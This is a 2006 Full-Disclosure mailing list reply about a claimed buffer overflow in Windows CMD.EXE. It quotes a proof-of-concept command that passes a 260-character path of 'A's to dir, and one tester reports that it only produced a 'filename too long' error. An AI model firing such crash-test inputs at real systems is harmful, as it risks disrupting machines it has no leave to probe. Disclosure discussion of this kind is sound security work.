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Re: Windows Command Processor CMD.EXE Buffer Overflow
From: "Luis Alberto Cortes Zavala" <napasn () securitynation com>
Date: Fri, 20 Oct 2006 14:33:00 -0500
YEah! Buffer Overflow Windows XP SP2 I Hill debug this. Luís Alberto Cortes Zavala IT / Security Consultant napa () securitynation com http://www.securitynation.com -----Mensaje original----- De: listbounce () securityfocus com [mailto:listbounce () securityfocus com] En nombre de The SNiFF Enviado el: Viernes, 20 de Octubre de 2006 03:58 a.m. Para: vuln-dev () securityfocus com Asunto: Re: Windows Command Processor CMD.EXE Buffer Overflow
Copy-paste the following line in cmd.exe and execute it.. (it is a single command, has been split into multiple lines for readability sake). %COMSPEC% /K "dir
\\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" (260 characters of 'A's)
Tried it on Win2k3 SP1: C:\Documents and Settings\Administrator>%COMSPEC% /K "dir\\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" System replied: The filename or extension is too long. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Re: Windows Command Processor CMD.EXE Buffer Overflow Luis Alberto Cortes Zavala (Oct 20)
- Re: Windows Command Processor CMD.EXE Buffer Overflow Tillmann Werner (Oct 23)
- Re: Windows Command Processor CMD.EXE Buffer Overflow Arnaud Jacques (Oct 23)
- Re: Windows Command Processor CMD.EXE Buffer Overflow C. Hamby (Oct 23)
- Re: Windows Command Processor CMD.EXE Buffer Overflow David Taylor (Oct 23)
- Re: Windows Command Processor CMD.EXE Buffer Overflow Tillmann Werner (Oct 23)